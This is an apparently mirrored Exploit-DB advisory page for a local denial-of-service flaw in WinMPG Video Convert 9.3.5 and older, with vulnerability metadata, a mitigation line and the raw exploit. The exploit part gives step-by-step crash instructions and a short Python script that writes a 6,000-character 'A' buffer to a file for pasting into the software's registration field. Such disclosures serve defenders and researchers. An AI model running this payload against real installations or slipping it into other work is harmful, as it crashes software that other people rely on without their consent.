WinMPG Video Convert Local Dos Exploit

vendor:

WinMPG Video Convert

by:

Achilles

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: WinMPG Video Convert

Affected Version From: 9.3.5 and older

Affected Version To: 9.3.5 and older

Patch Exists: Yes

Related CWE: N/A

CPE: a:winmpg:winmpg_videoconvert

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP SP3 EN

2019

WinMPG Video Convert Local Dos Exploit

A vulnerability in WinMPG Video Convert allows an attacker to cause a denial of service by creating a file with a large number of 'A' characters and pasting it into the 'Name and Registration Code' field when registering the software.

Mitigation:

Update to the latest version of WinMPG Video Convert.

Source

Exploit-DB raw data:

# Exploit Title: WinMPG Video Convert Local Dos Exploit
# Date: 15.03.2019
# Vendor Homepage:http://www.winmpg.com
# Software Link:  http://www.winmpg.com/down/WinMPG_VideoConvert.zip
# Exploit Author: Achilles
# Tested Version: 9.3.5 and older ones
# Tested on: Windows XP SP3 EN


# 1.- Run python code :WinMPG.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open WinMPG.exe and Click 'ALL-AVI'
# 4.- In the new Window click Register
# 5.- Paste the content of EVIL.txt into the Field: 'Name and Registration Code'
# 6.- Click 'Register'and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"